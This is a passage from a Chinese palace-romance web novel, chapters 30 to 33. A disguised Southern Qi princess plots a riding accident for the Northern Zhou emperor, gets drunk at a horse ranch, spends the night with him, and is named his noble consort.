“此时根本就是魏氏凭空做梦罢了,如今南齐大部早已在大周掌控之中,索性一举南下。将魏氏赶出中原,到时天下便都在我们大周之下,岂不快哉?” “此言甚是!” …… 眼看那一行官员已经登上台阶,迈进了勤政殿中,明熙却是心下一沉。 —— 如今远在益都的侄儿身边,除过嫂子及少数从前的大臣,便是嫂子的娘家人。她竟不知,这些人竟向北周发了求和信来? 却不知此事是谁的主意? 侄儿可还安好? 她快速思量一番,便去到在殿外值守的小林子道,“昨日太后派人来看过我,我今儿好些了,合该去向太后奶奶姑娘谢恩才是,趁这阵子朝会,先去一趟寿安宫,等会儿若高公公问起,替我回答一声。” 小林子忙道,“姑娘不必担心,高公公说了,您现在要以养伤为主,不必在御前伺候,尽管去便是。” 明熙道了声谢,便快步出了乾明宫。 她原想着去找凌霜,向给宫外的凌雪问一声,哪晓得刚出来不久 ,却碰上了赵怀。 “姑娘……” 赵怀一脸很是担心她的模样,趁左右无人,赶紧问道,“您可好些了?昨日受的伤没事吧?” 此时见到赵怀也是好的,明熙立时道,“我还好,一点皮外伤而已。” 语罢赶紧道,“你可听说了求和信的事?” 赵怀点头道,“我也是昨晚才从司礼监那边听说的消息,知道您心急,特意在这等您。” “依我看,这信八成还是谢氏那些人的主意。大抵是眼见北周的军队这段时日没有逼近,又打什么主意呢。” 明熙皱眉道,“谢氏自然还是在为自己的利益考虑,却不知阿衡如今是否还安全?” “姑娘放心,” 赵怀忙道,“我昨儿才见过凌霜,凌风一直在陛下身边,如今没有坏消息,便是好消息。” 说得也是。 明熙点了点头,又道,“北周大臣们对此事十分抗拒,甚至扬言要将我们赶尽杀绝,只怕这封信反而会激怒他们,叫他们再度发兵,对阿衡不利!” 赵怀动了动唇,复又想了想措辞,方与她道,“这信前日就送到了上京,周帝昨日一整日都未提及此事,眼下那大长公主府的事才出,我瞧着周帝是八成不打算理会的,发兵之事,应该暂且不必担心……其实眼下最要紧的,是陛下的处境。” “今次的祸乱,本就是因他们而起,若他们真想求和,就应将那谢霁扬绑来交由北周处置,何苦连累一国百姓受苦?” “依我看,他们今次不过是想试探北周意图,如若北周提的条件能接受,他们未准又会做出什么辱国之事?” 明熙皱眉,这也正是她的忧心之处。 ——想那谢氏都是些贪生怕死又自私之徒,若有朝一日北周要他们交出侄子,他们未准也会照做。 “所以……” “所以不可因他没有杀我兄长,就放松警惕。” 赵怀正要张口,却见明熙道,“眼下两国仇恨已然如此,就算将那谢霁扬的人头捧来,他们也未必会将国土归还,放过阿衡。” “所以眼下只有一条路可走,” 她道,“搅乱这北周,叫他们退兵,再活着回去,赶走谢氏那帮蠢货。”【你现在阅读的是 】 30-40 第31章 阿真……你想起来了?!…… 搅乱北周? 赵怀一愣,眼下这北周还不够乱么? 还要怎么再乱? 心间忽然升起一种不祥的预感,他赶忙问道,“姑娘是想做什么?” 却见明熙一笑,道,“自然是要叫他们打消发兵的念头,你觉得有什么事,会叫他们从建业撤兵?” 从建业撤兵? 那必定是北周境内出了了不得的大事啊! 赵怀心间一紧,忙道,“莫非您还是想……您可千万别冲动!要知道周帝一旦出事,只会叫两国之间的仇恨愈发加深。” 却见明熙道,“那人又不是非要在我手上出事,倘若是他自己不小心,出了什么意外呢?” “更何况这北周的敌人可不止咱们,吐蕃,柔然,高句丽,还有契丹,哪个对中原不是虎视眈眈?他们又如何能肯定是南齐做的?” “这……” 赵怀一噎。 话虽这么说,可如若那般,风险着实太大了! 何况周帝也并不想将南齐赶尽杀绝,否则又岂会一直未叫大军南下? 最要紧的,公主如今孤身在这北周,便是历尽千难万险逃回去,益都那里还有谢氏那班豺狼…… 只可惜,公主如今忘了旧事,始终不肯相信周帝。 赵怀只能又道,“可……以咱们这些日子的观察,那周帝尚算冷静明理之人,倘若他出了事,这大周江山落于他人手中,又不知会怎么办?” 明熙却道,“换成谁都是一样的,萧元彻再冷静,当那些大臣一致要发兵时,只怕他也左右不了,更何况,他自己跟南齐还有质子之仇。就算眼下不动,谁知将来又如何?人是会变的。” 所以,还不如叫这北周换一个无能的君主,他们南齐的胜算还能大些。 思及此,她又对赵怀道,“我还要去寿安宫,只怕去不了御膳房了,你要是方便,就跟凌霜说一声,给凌风务必先要保护好阿衡,一旦找到合适时机,我必会回到阿衡身边,将谢氏那对狗父子除掉。” “还有,若有一天我不在这宫中,你们也不要傻等,找机会赶紧离开,咱们在益都汇合。” 这叫赵怀又是一顿。 公主现在选的这条路,也并没有比先前那条好走…… 他还想再劝一劝,哪知却见甬道上有宫人经过,明熙则与他告别,径直去了寿安宫的方向。 ~~ 明熙自觉时辰尚不算晚,只是等到了寿安宫,却见殿中才来了客人,太后正在与客人说话。 她只能在院中先等,没过多久,却见青黛从茶房中溜出到了她近前,着急问道,“念贞姐,你的伤可好些了?” 明熙道,“已经好多了,多谢你挂念,只是你跑回来,就不怕太后叫茶?” 却见青黛道,“素萍姐前几日出了宫,如今茶房有三个人当值,不要紧的。” 说着又赶紧拿了一包东西给她道,“这是素萍姐姐昨日回来拜见太后,拿回来的糖果子,特地祝福我给你留一份。” ——素萍在浴佛节前出宫成了亲,昨日乃是三朝回门的日子,原本明熙说好会回来见面,没想到出了“行刺”的事,倒给耽误了。 此时她接过青黛递来的糖果子,又不由问道,“素萍姑姑在宫外过得可好?” 只见青黛点头笑道,“我瞧她脸颊红扑扑的,眉眼都是笑意,想来应该是很好的。” 说着却又趴在她耳边低声道,“还有一个好消息,是关于姐姐你的。昨儿下午,我听见太后在殿里同王嬷嬷说,打算给你抬位份呢!” 什么??? 明熙一愣,下意识道,“抬什么位份?” “自然是要你入后宫,做主子的意思啊。” 却见青黛笑道,“你就等着好消息吧!” 说着又回头看了眼殿中,道,“不多说了,我要赶紧回茶房去了,提前跟姐姐说声恭喜,往后还请姐姐多多照应。” 语罢便又回到了茶房中。 只留下明熙在原地暗自皱眉。 不可! 她若是进了后宫,还怎么去到益都侄儿身边? 太后这是怎么了? 先前还因为萧元彻摸了她的手,就将她关在寿安宫里不准外出,如今萧元彻都还没说什么,又要自做什么主张? 她千里迢迢费尽心机,可不是来给那狗皇帝充后宫的! “念贞?” 却听忽然有人唤她,明熙抬眼望去,却见是小公主箫玉容踏进了寿安宫。 其身旁还有一人,却是那位诗画双绝的才女,温舒月。 明熙只得矮身行礼,却见二人几部来到她面前,箫玉容急着问她道,“你的伤可好些了,还流血吗?” 明熙道,“谢殿下挂怀,奴婢已经好多了。” “你没事就好,” 箫玉容又抚着胸口道,“那日真是吓人,若不是你扑上去,受伤的只怕就是皇兄了。” 却见温舒月也道,“那日虽未在场,我也已经听家父家母说了那时的场景,许姑娘的胆识令人敬佩,此番英勇护主,真是为天下立下大功了。” 这话说得,直叫明熙都有些不好意思起来,只能道,“殿下与温姑娘都折煞奴婢了,奴婢护驾,本就是应该的,倘若换做别人,也会如奴婢一样。” 哪晓得温舒月却道,“当时殿中那么多人,又有几人有你这般反应?我是真心佩服你!” 说着又从袖中拿出一只罐子,递向她道,“这是今日入宫前,我特意从家中带来的,本想着若是见不到你,就拖公主帮我转交,没想到正好碰上了,这是我照医书自制的冰 寒霜,用冰寒草,杏仁,白芨,丹参及珍珠粉等制成的,可以消肿润肤,对伤口很好,我此前已经用过,觉得还不错,你也可以试试。” 明熙一愣,未等说话,却见一旁的萧玉容也道,“我母妃也有祛疤的方子,等我去要来给你,你也一并试试。” 明熙,“……” 二人这般热情,直叫她都有些惭愧起来,只能连连道谢。而正在此时,却见王嬷嬷又打正殿里出了来,先将箫玉容及温舒月请了进去,又对明熙道,“太后娘娘已经晓得你来谢恩了,只是今日殿中有客,不方便,叫你你先回去好好养伤,等好了再来便是。” 说着又拍了拍她的手,笑道,“好孩子,你一心为陛下,娘娘心间很是欣慰,在乾明宫好好照顾陛下,娘娘不会亏待你的。” 明熙心间一顿。 这话……同方才青黛说的,只怕是一个意思。 看来青黛并没有听错。 假意道过谢后,明熙告别了王嬷嬷,出了寿安宫的大门,往乾明宫走去。 手中还握着温舒月给的冰寒霜,相较于昨日萧元彻给她的黑糊糊的“祛疤霜”,这冰寒霜膏体细腻清透,还透着淡淡的清香,倒是好闻得多。 她自是不能入这大周的后宫,而温舒月这样的好姑娘,也不该当寡妇。 她必须要尽快找到机会出手才是。 …… 大抵是因着接连出了几件大事,今日的乾明宫相较于平常,还要忙碌些。 一直到晚膳时间,明熙才见到萧元彻的人。 “陛下劳累一日着实辛苦,还请好好用膳。” 依照惯例,她如常在桌旁先提醒了一句。 就见萧元彻嗯了一声,在桌前坐下,并未急着动筷,而是问她,“今日一整天都没见到你,伤口可好些了?” 明熙垂首道,“些陛下关怀,奴婢的伤已经好多了。” 萧元彻颔了颔首,又道,“趁着这阵子无事,等会儿朕帮你换药。” 哪晓得她道,“陛下无须担心,奴婢已经自行换过药了。” 萧元彻顿了顿,又道,“这是什么味道?有些淡淡草药味。” 却见那姑娘道,“是今日奴婢去寿安宫谢恩时,永安公府的温姑娘相赠的去疤霜,奴婢方才试着用了一些。” 萧元彻,“……” 不用他给的,却用别人给的? 看她此时低眉垂首,如其他宫人并无二致,就仿佛回到了他初在宫中见到她的时候。 他岂会不知,她越是规矩,便证明对他越是疏远? 看来这症结,还在两国之事上。 ——今日朝堂内外都在议论那南齐发来的求和信之事,想必她在院中也听见了。 大臣们对此事反应激烈,她看在眼中,难免对他有所误会。 然即使他想跟她解释,却无从开口,毕竟她并未恢复记忆,始终当他是随时会灭她家国,逼死她侄子的凶手。 ……说起来,眼看她的药也已经吃了月余,他也带她一起做过许多从前做过的事,怎的还不见好转? ——难不成,要带她回趟建业? …… 正琢磨着,却见高寿进到殿中禀报道,“启禀陛下,方才太仆卿来奏,道是今年鹿州马场的的成马已可适役,不知何时派人前去挑选?” 鹿州马场? 闻言一旁站着的明熙眼睛一亮。 对,骑马。 倘若他骑马时从马上坠下,后果应是很严重…… 却不知萧元彻看在眼中,亦是眼睛一亮。 对了,骑马。 他记得她从前很喜欢骑马,只是胆子不够大,要人帮她牵着马,或是与她同骑才可。 “倒是有日子没离开京城,出去瞧瞧了。” 萧元彻将目光投向明熙,道,“阿真,你可想去骑马?” 明熙则悄悄挑眉。 这人的意思,要带她去马场? ——这倒是很不错的主意! 既方便她成事,亦有利于脱身…… 她立时莞尔一笑,道,“只要陛下起驾,奴婢自是愿意随行。” 就见萧元彻颔首,对高寿道,“就如此定下,待后日,朕亲自前去挑马。” 高寿应是,立时去传旨。 明熙则在心间暗暗一笑,萧元彻啊萧元彻,莫要怪她狠心。 待到后日,便是你出事之际。 ~~ 如此定好,待到第三日天蒙蒙亮之际,明熙便随御驾起行,去往鹿州马场。 此前明熙只晓得鹿州近在京畿,直到在马车上坐了大半日,这才晓得北周城池之间相隔有多远。 难怪临行前高寿特意嘱咐她带上换洗衣物,说要在那里过上一夜,第二日才返回。 而大忙人萧元彻也依旧并未闲着,明熙坐在车厢一角,眼看他一本一本的批着奏折,还时不时与随行的侍卫交代几句,再将紧急的奏折送回上京。 说起来,此时车中仅有她跟萧元彻二人,道是刺杀的好时机,只是如今她还要返回益都,自是不能再做同归于尽的打算,因此只将软剑放在了随身的行李中,只尽职尽责的为他倒到茶之类。 只可惜那人忙得好半日才能喝上一杯茶,她无聊之余,便将目光投向车窗之外留意路上情形,以备成事之后顺利逃走。 如此熬了大半日的光景,眼看天空正中的日头已经开始西斜之际,马场终于到了。 明熙跟着萧元彻落了地,只见一片广阔的草场,草场上散落着一群群的马匹与羊群,还有黄牛在悠闲吃草,倒很是令人心旷神怡。 马场周边自有房舍,知道他亲自前来,一众官员们早已摆好了阵仗跪地迎接,萧元彻却嫌麻烦,免了那些繁荣礼数,只往草场上走,要去查看马匹。 明熙赶忙跟上,预备着他等会儿若是骑马,便立刻出手。 哪晓得待他挑选好一匹枣红色马后,却回头与她道,“阿真,从前可曾骑过马?” 明熙愣了愣,自是撒谎道,“并没有。” ——谁不知马是勋贵人家的专属,她可是乡下花农的女儿,怎么会骑马呢? 但事实上,从前在建业时,她很是羡慕会骑马的人。 只可惜宫中将她看管得紧,从不许她接近马匹,后来她长大出宫建了府,无人再敢管她后,她才尝试着学骑马。 然而须知骑马看起来容易,等真正坐上去却是害怕无比,她只敢叫人牵着马骑一骑,并不敢自己骑。 哪知此时听她说完,萧元彻却笑道,“趁今日机会难得,不妨来试一试。” 一旁的马夫闻言立时道,“这匹马是母马,性情很是温和,姑娘可放心骑。” 什么,叫她骑马? 明熙忙拒绝道,“奴婢胆小,又从未骑过马,还是不给陛下添乱了,陛下骑便是。” ——她若是骑了马,还怎么对这人下手? 哪晓得那人却道,“不要怕,朕与你一起骑。” 说着竟直接跨到了马上,还朝她伸出手来。 见此情景,明熙脑中忽然灵光一现——若她与他同乘,岂不正方便她找机会将他推下马? 也好。 她便伸手握住萧元彻的手掌,也坐到了马背上。 然而不坐不知道,眼看视线陡然升高,从前那种恐惧感立时又回了来。 尤其那马蹄还在原地踏步,仿佛随时都会将她摔下去一般,直叫明熙吓得忍不住叫了一声。 立时有一只臂膀将她揽住,却听萧元彻在她耳边道,“不用怕,只要抓紧缰绳就不会掉下去,放松一些。” 说着又一夹马腹,叫马儿驮着两人走了起来。 此时明熙没有后路,只能尝试着叫自己放松,还要分神思考在何处动手。 须知此时近前还有一班人马在看着二人,必定是要走远些才好。 哪知还没等走出一班人的视线,马儿竟忽然跑了起来。 大抵是察觉她浑身僵硬,却听萧元彻又在耳边道,“不必怕,有我在,定不会叫你摔下去的。” 这话入了耳,明熙一愣,脑间忽然冒出来一些片段—— 先是同样一片广阔的草场,她骑在一匹矮马上,有一位身姿英挺的少年替她牵着马,对浑身紧张的她道,“不必怕,有我在,定不会叫你摔下去。” 紧接着,场景又换成了建业的郊外,一个青年与她同骑着一匹马在河边漫步,与她说的亦是同样的话…… 风声在耳边呼啸而过,马蹄之下是各色不知名的小小野花,接天的绿草宛如海洋一般在面前铺展开来,脑中的画面也愈发清晰。 那少年郎是谁?怎么好似在她梦中出现过? 还有那个与她在河边同乘的青年,脸上戴着面具,合该是她曾经喜欢过的“二郎”,但那副身影和语调,却又为何与此时揽着她的萧元彻重合了? 明熙忽然头疼起来,眼前的画面随着马蹄摇动,忍不住皱起一双秀眉。 萧元彻及时察觉,忙问道,“怎么了?可是又不舒服了?” 毕竟机不可失,明熙还欲摇头,然而那人却立时将马勒停,又把她从马上抱了下来。 见此情景,不远处的一班人赶紧跑上前来,高寿忙道,“许姑娘可是又不舒服了?” 却见萧元彻道,“是朕不好,竟忘了你不能颠簸,先去房中休息一下吧。” 明熙忙道,“难得出来一趟,陛下不必为了奴婢耽误要事,奴婢稍稍歇一下便好,您先去选马吧。” ——看他方才的兴致,想来还是要骑马的,然机会难得,怎能轻易错过? 萧元彻却还不放心,又问她道,“真的没事?” 明熙强撑着笑了笑,“奴婢方才就是有些胆小,缓一缓就好了,陛下不必担心。” 见此情景,萧元彻便颔了颔首,叫人将马车来到近前,叫她上车休息,又吩咐小林子留下照顾她,便又去了马前。 小林子也不敢耽误,忙叫马场的仆妇送了些吃食来,道,“姑娘身体虚弱,先吃些东西垫垫肚子。” 明熙道了声谢,垂目看去,见托盘里有几样点心,虽然比不得宫中的精致,却散发着浓浓乳香。 但她此时并不想吃东西,心间满是懊悔,方才那般大好机会,怎的又头疼起来? 却见马场的仆妇问她道,“马场上风大,姑娘可是着凉了?不妨喝一些咱们自己酿的马奶酒,可以驱寒活血。” 马奶酒? 明熙瞧了瞧杯中白色的奶酒,忽然灵光一现。 方才胆子太小,又太过紧张,此时喝点酒壮壮胆也好。 她便试着饮了一杯。 咦,没想到那口感圆润滑腻,带着丝丝酸甜,还有浓浓的奶味,竟然很是适口。 须知此乃北国特产,她过去还真没尝过,惊艳之下,又忙问那仆妇,“这酒可易醉?” 却见仆妇豪爽道,“这酒咱们都当水喝的,哪里会醉?姑娘放心喝便是,这酒还可养颜呢。” 这样吗? 明熙便试着又喝了两杯,自觉的确不像其他酒一般容易上头,身体里的经脉倒是热络了起来。 果然是活血驱寒的好物。 如此等她缓过一阵,便再去骑马,这次一定不能再错过机会! 然而主意虽打得好,但没过一阵,眼前的世界忽然开始旋转起来。 糟糕,似乎是醉了…… …… 眼看日头西沉,等萧元彻将马匹挑选好,回来找明熙的时候,却见她人正趴在榻上呼呼大睡。 一旁的小林子十分局促不安,只得垂头解释道,“那妇人明明说马奶酒不易醉的,但许姑娘只喝了三杯就……” 马奶酒? 萧元彻看向桌上空着的酒碗,立时明白了。 身后,高寿正欲骂小林子,“那仆妇的酒量岂是许姑娘能比的……” “罢了。” 萧元彻抬手道,“不必再吵,叫她睡一下也好。” 说着又问,“卧房可准备好了?” 小林子忙道,“已经备好。” 萧元彻便吩咐马车起行,去了房前。 等车停稳,他又小心将她抱了下来,进到了房中。 床榻已经铺好,尚算柔软,他小心翼翼的将她放下,生怕将她惊醒。 哪晓得正欲抽手之际,却见原本呼呼大睡的姑娘忽然开口道,“你怎么才回来?我等了你好久!” 语罢,还睁开一双杏眼,满是怨尤的看他。 萧元彻一顿,道,“朕回来晚了……” “萧元彻!” 那姑娘竟又道,“你没有心!我对你那么好,你怎么连声道别也不说就走!” 语罢还流下泪来。 这叫他彻底怔住。 “阿真……你想起来了?!” 第32章 贵妃 试问这天底下除过她,还有谁胆敢如此直呼他的名讳? 她必定是恢复了从前的记忆吧…… 是以说出这句话后,萧元彻简直不敢呼吸。 哪晓得那姑娘却又愤愤道,“我才不要记着你,我要把你忘了!本公主以后还会有更多美男,每一个都比你好看,谁也不会离开我!” 看似咬牙切齿,眼中泪珠却不断掉落,滴滴跌在萧元彻的手上,也将他的心灼痛。 “对不起,阿真,” 他伸手替她擦去眼泪,连声说着抱歉,又企图将她抱入怀中,“我以后再也不会离开你,对不起……” 然而那姑娘却甩开他的手继续哭道,“骗人!你明明昨晚才抱着我说要娶我做皇后,天还不亮你就走了!我父皇驾崩,你也一声不坑的溜走,丢下我一个人在建业!你好狠的心!” 这一声声控诉犹如尖刀,刀刀刺在萧元彻的心间,叫他无力辩驳,只能不住说着抱歉,用尽力气将她抱进怀中,再低头吻去她的泪痕。 “是我不好,是我不该瞒着你悄悄离开,都是我不对,今后绝不会再丢下你,绝不……” 哪知话未说完,却被一个吻给堵住。 那姑娘忽然又回吻过来,攀住他的肩,封住他的唇,甚至又将他压在了身下…… 萧元彻一怔,这般情景,如四年前的那个夜晚何其相似? 他揽过她的腰,也回吻了过去…… 房门外,高寿及小林子几个还在原地恭候,然而眼见时间渐渐过去,却并未见君王从房中出来,都不由开始踟蹰起来。 又过一阵后,却见房中灯火骤灭,几人你看看我,我看看你,皆是不知所措的模样。 还是高寿先反应了过来,忙开口道,“看什么看,小林子随咱家在此候着,其余的人,该准备什么,赶紧去准备。” 众人应是,立时各自忙活起来,高寿则在不远处寻了块石头坐了下来,仰头看着天上星河,忍不住翘起了嘴角。 佛祖保佑,陛下终于迎来大日子了。 这趟马场,可真是来对了! …… 万籁俱寂,唯有一室的缠绵。 谁都不知,明熙经历了怎样波翻浪滚的一夜,以至于第二日醒来之时,腰肢酸痛得如同打了一场硬仗一般。 迷迷糊糊的翻了个身,却忽然觉得床榻有些拥挤,遂不由睁眼瞧去,却惊觉此时的床榻上除过她,竟然还有一人。 而且还是个男子。 而且不是别人,竟然是……萧元彻!!! 犹如一记炸雷从头顶劈下,明熙一个激灵立时要从榻上坐起,哪知竟又发现自己在被中的身体,竟是一,丝,不,挂!!! “!!!” 这是怎么回事?!! 她该不是还没睡醒吧!!! 她立时用力掐了胳膊一下,不出意外的被痛的嘶了一声,而紧接着,却见原本还睡着的男人睁开了眼来看她,带着笑意道,“醒了?” 而后竟还俯身过来,似是要亲她。 明熙立时躲开,带着一脸的不可思议道,“陛下,这是怎么回事?你你你怎么会在奴婢的床上?” 话音落下,却见萧元彻一顿,笑意全然凝在了脸上。 ——她怎么又叫他陛下? 还这般说话? ……难不成又忘了??? 他于是试着问道,“怎么回事,你不记得了?” 却见那姑娘皱着一双秀眉使劲摇头道,“不记得。奴婢不是在马车上等您来着?后来似乎睡着了……可怎么就成了现在这般???” 萧元彻,“……” 看她这反应可并不像装的,难道真的又忘了?!! 他不甘心,又试着问道,“睡着以后呢?你不记得怎么回来的房中?” 却见那姑娘睁着无辜的杏眼,将头摇得如同拨浪鼓一般。 萧元彻,“……” 看来竟是真的忘了。 他只得深吸一口气道,“朕挑完马后去找你,见你在车上睡着,怕你着凉,便将你抱回房中,哪知你抱住朕开始亲,还……” 他语声稍顿,立时引得明熙赶紧追问,“还什么?” “还压在朕身上,扒了朕的衣裳。” 他索性说完,看着她。 却见那姑娘倒吸一口凉气,如同末世一般痛心疾首道,“陛下怎么不将奴婢推开?” 萧元彻却报以微笑道,“为何要反抗,朕一直很喜欢你,两情相悦,难道不是世间最幸福之事?” 好一个两情相悦! 直叫明熙险些脱口而出说她并不喜欢他! 然而仔细回想了一番,虽然昨夜的记忆大多不在,但她脑中竟还有将他压在身下亲吻的印象。 只是原以为是场春梦,哪晓得竟然是真的!!! 魏明熙啊魏明熙!你怎的又犯了如上回一样的错!!! 早知如此,她昨日是断断不会喝那几杯马奶酒的!!! 然而此时再后悔也是无用,她又抬眼去看一旁那好整以暇的男人,愈发愤愤道,“陛下还没有大婚,怎么能如此轻易就从了奴婢,岂不太过轻浮?!!” 什么,轻浮? 就见萧元彻皱起一双俊眉道,“昨夜可是你先抱着朕不放的!朕也是个正常男子,何况本就喜欢你,你那般主动,又岂能招架得住?” 说着顿了顿,又道,“这可是朕的第一次,朕十分看重。” 什么?第一次??? 明熙满眼透着不信,“怎么可能?” ——昨夜那被她误以为是春梦的片段里,可都是他掀起的惊涛骇浪。 那般紧追与痴缠,哪里像是第一次的…… 却见他咳了咳道,“本能而已,情到深处,自然就晓得该怎么做了。” 明熙,“……” 好一个“情到深处”。 他到底是如何脸色不变的说出这等话的? 她忍不住提醒道,“那陛下那位远在建业的挚爱呢?倘若她知道今日之事,愈发恨陛下该怎么办?” 却见萧元彻顿了顿,道,“若有机会,朕必定会与她解释清楚。” 说着又将目光投向她道,“还是说回眼前吧,如今你我已然有了夫妻之实,朕自然不会委屈你,朕这就传旨,封你位份……” “不,” 明熙立时拒绝道,“不必了,奴婢区区乡下出身的花农之女,如何敢向陛下求位份?昨夜能陪伴陛下身侧已是至幸,还请陛下不必如此。” ——须知一旦入了他的后宫,就如同被禁锢住了一般,还怎么再轻易回到益都? 再者,她用的可是假身份,又如何撑过北周那繁琐的册封仪式? 尤其她这等卑微的出身,依照北周这严苛的礼制,就算入了后宫,位份也必定极低,若日后他再册了别的女子,那她便只有受气的份了! 她才不干! 然而萧元彻却如同看穿了她心间所想一般,立时又道,“朕岂是那等罔顾责任的浪荡之徒?既然事情已经发生,又怎能至你于不顾?再说,朕如此中意于你,亦决意与你朝朝暮暮。” 说着便朝门外道,“高寿。” 门外立时传来高寿得声音,“奴才在。” “传朕的旨意,” 萧元彻道,“念贞自来到朕身边,一向尽职尽责,聪慧体贴,深得朕心。即日起,册封她为贵妃,叫宗正尽快筹备仪式吧。” 什么? 贵妃??? 明熙怀疑自己听错了,门外的高寿却立时应是,复又问道,“不知要请贵妃娘娘入主哪座宫中?奴才也好一并将消息送回上京,叫宫中赶快筹备。” 只见萧元彻稍稍思忖一下,便道,“就住延福宫吧,离朕近些,如此,朕也可日日与贵妃相见。” 说着还满含微笑的又看了她一眼。 明熙脑间却是轰然一声。 贵妃? 她竟然就如此成了北周的贵妃?!! 简直荒唐!!! ~~ 鉴于封妃之事的太过突然,接下来的半日,明熙都是在恍惚中度过的。 以至于接下来,她与萧元彻是如何在房中穿好的衣裳;以及马场的官员仆妇们是如何齐齐向她行礼问安;再以及,她与萧元彻春风一度后共进的早膳都用了些什么,她都几乎无甚印象。 她满脑子皆是如何应对接下来的局面,等稍稍回过神时,已是在回上京的马车上了。 依然是她与萧元彻同乘,萧元彻的面前也依然摆了一堆的奏折,然而今日他明显心不在焉的模样,虽是手捧着奏折,一双眼睛却总往她身上瞧。 直叫明熙被看的都有些不自在起来,索性问道,“陛下可是要喝茶?” 却见萧元彻道,“不用。” 明熙又问,“那,可是今日的政事都不当紧?” 却见萧元彻的笑中带了些无奈的意味,道,“若非不当紧,又怎么会连夜送到朕面前?” 明熙便挑眉道,“那陛下怎么老往奴婢身上看?奴婢身上又没奏折。” 哪知那人竟咳了咳,道,“朕倒情愿你身上有奏折,如此,就能不再分心了。” “陛下……” 这话说得直叫明熙脸都红了,萧元彻倒是又正了些神色道,“还有,你如今是朕的贵妃,不必再自称奴婢,往后也没人再将你当成宫人。” 明熙应了声是,又不由在心间叹了口气,她这到底还未习惯。 毕竟谁能想到,她一个敌国公主,千辛万苦的埋伏在北周宫中,有朝一日竟然成了这北周的贵妃? 正无奈间,却听萧元彻又沉吟道,“住处已经给你安排好了,还要再给你备些人手,朕看上回来禀报玉佛像之事的那个宦官不错,就将他调进你宫中如何?” 什么? 明熙悄悄一顿,他要调赵怀给她? ……该不会是发现了什么吧? 明熙面上不显,只小心试探道,“陛下为何看中那个人?” 却见他一笑道,“上回是你将他领到朕的面前,他立下的功劳,也算有你一份,他必定感激与你,日后也必定会对你忠心。” 这样么? 不过这话说得倒是不错,赵怀伴着她自幼长大,又伴着她来到这北周冒险,若论起对她的忠心,这世上再找不到第二个。 凌霜当然也不必说,但她还要同宫外的凌雪传递消息,所以只怕还要将凌霜留在御膳房。 ……不错,眼看情形已经无法逆转,她也已经在思考今后的处境。 但一想到侄儿还远在益都,而她今后再想离开这北周却又愈发艰难,便不由便在心间烦 躁起来。 烦躁到想扇她自己两个巴掌。 昨夜怎的就贪杯饮了那威力巨大的马奶酒? 又怎的禁不住这人的美色而乱了阵脚! 魏明熙啊魏明熙!!!你怎么就不长记性呢?!! 正在心间默默谴责自己之际,却见萧元彻又对她招手道,“来,做到朕的身边来。” 明熙回神,忙道,“臣妾岂敢打扰陛下办公?在此就好。” 哪知那人直接将手里的折子撂在了桌上,道,“今日索性不办公了,难得有此清净之。 我们二人说说话也好。” 说着又向她伸出手道,“这里的垫子软些,到这里来吧。” 毕竟是才封的贵妃,也不好立时就抗旨,明熙只好应了声是,起身挪动了过去。 只是就在坐下去之际,目光扫过他撩到桌上的那本打开的奏折,却见其上奏禀的,正是关乎南齐求和信的事。 她想了想,索性试着问道,“臣妾斗胆,前几日在宫中时,曾听见那些大人们都在议论南齐之事,却不知 ,是否又要起战事了?” 却听萧元彻道,“战火伤民,朕只希望从此以后再无战事。然而大臣们的反应你也看见了,此事毕竟是那南国谢氏杀我边民及官员在先,如今朝野民间提及此事,仍然耿耿于怀。反应甚是激烈。” 明熙不由悄悄皱眉,听这话的意思,莫非他还是打算对南齐发兵? 却听他又道,“其实起不起战事,并非在大周,而是要看他们肯不肯将罪魁祸首交出来。 毕竟那凶手一日不死,大周便民愤难平。但南国这封信,通篇不提那罪魁祸首谢霁扬,只是一味叫大周让步,可以看得出并无诚意。所以,暂且不必理会,先放着吧。” 明熙这才晓得,那求和信上大抵是什么内容。 如此看来,这封信八成还是那国舅谢苍道的主意,旨为试探这北周的意思。 而听萧元彻的意思,倘若他们南齐肯将那谢霁扬交出来谢罪,北周退兵之事就有希望了? 看来此事尚有缓和之机。 “阿真,” 正悄悄思忖之际,却有一双手环住她的腰,将她揽入了怀中。 萧元彻在明熙耳边说话,低沉的声音扫着她的耳朵,直叫她痒到想躲,只好问道,“陛下有何吩咐?” 大抵因着痒的关系,声音竟也软了许多。 却见那人将下巴搁在她的肩膀,用低低又温和的声音道,“朕不会离开你,你也不要离开朕,咱们两个往后再也不分开,好么?” 明熙不由暗自挑眉。 ……这就是经历过第一次的男人么? 看他如今这模样,可是与此前全然不同。 ……不过话说回来,他也果真是第一次吧,竟连她昨夜并未落红都没看出。 也罢,暂且哄哄他, 她便伸手轻轻抚了抚他的侧脸,道,“有陛下如此厚待,臣妾自是不会与陛下分开。” “真的吗?” 那人又垂目看她。 明熙也侧目看去,迎着他的目光,努力做出真诚的模样,点头笑道,“臣妾岂敢欺瞒陛下?” 却见他将她深深望了一阵,而后也笑了笑,重又将她揽进怀间,并叫她的头靠在他的肩上,温声道,“路还远着呢,先睡一会儿吧。” “有朕在,不必担心。” 明熙嗯了一声,大抵也是昨夜劳累过度,在他宽厚的怀中靠着,在车马摇晃中,竟然真的渐渐闭上眼,睡了过去。 因此也并未察觉,萧元彻在她额上落下了一吻。 “阿真啊阿真,当你何时不在叫我陛下,才是你真正想起来的时候。” …… 第33章 以色侍人 回程仍是大半日的路程。 待车马回到上京之时,已经是掌灯时分。 御驾才进入宫门,却听车窗外传来了一个声音,“陛下,太后娘娘有大事商讨,请您移驾寿安宫。” 那分明是胡尚宫的声音,明熙悄悄一顿,心道太后如此急着找他,怕不是为了封妃的事。 其实她对这贵妃之位原也并没抱什么希望。 别说这北周规矩严苛,就是放在他们南齐,如她这种花农之女的出身,也断断是做不了贵妃的。 更何况萧元彻眼下尚未大婚,后宫连皇后都没有,就先弄了个贵妃出来,太后能同意才怪。 就算果真封上了,她图有个贵妃的名头,就如同当年哥哥的萧妃一样,手中根本没什么实权,有什么祸事都往她头上推,岂不是会很惨? 然而如今他旨意早已送到了宫中,眼下人人皆知她与他昨夜的事……当做没发生过,也已经不可能。 如此一来,倘若封不上贵妃,只做个低位妃嫔,日后也一样是很惨的。 思及此,明熙直觉一头乱麻,然而萧元彻倒是淡定得很,只对胡尚宫道了声,“知道了。”又转头对她道,“时间有些匆忙,延福宫还没弄好,你今夜就先回乾明宫歇息。朕去看看母后,很快回来。” 明熙做乖巧状应了声是,眼看乾明宫已到,便先下了马车,又目送他继续往寿安宫去。 …… 此时的寿安宫灯火通明。 萧元彻到时,却见殿中除过太后,还有宗伯卿,礼部侍郎等人。 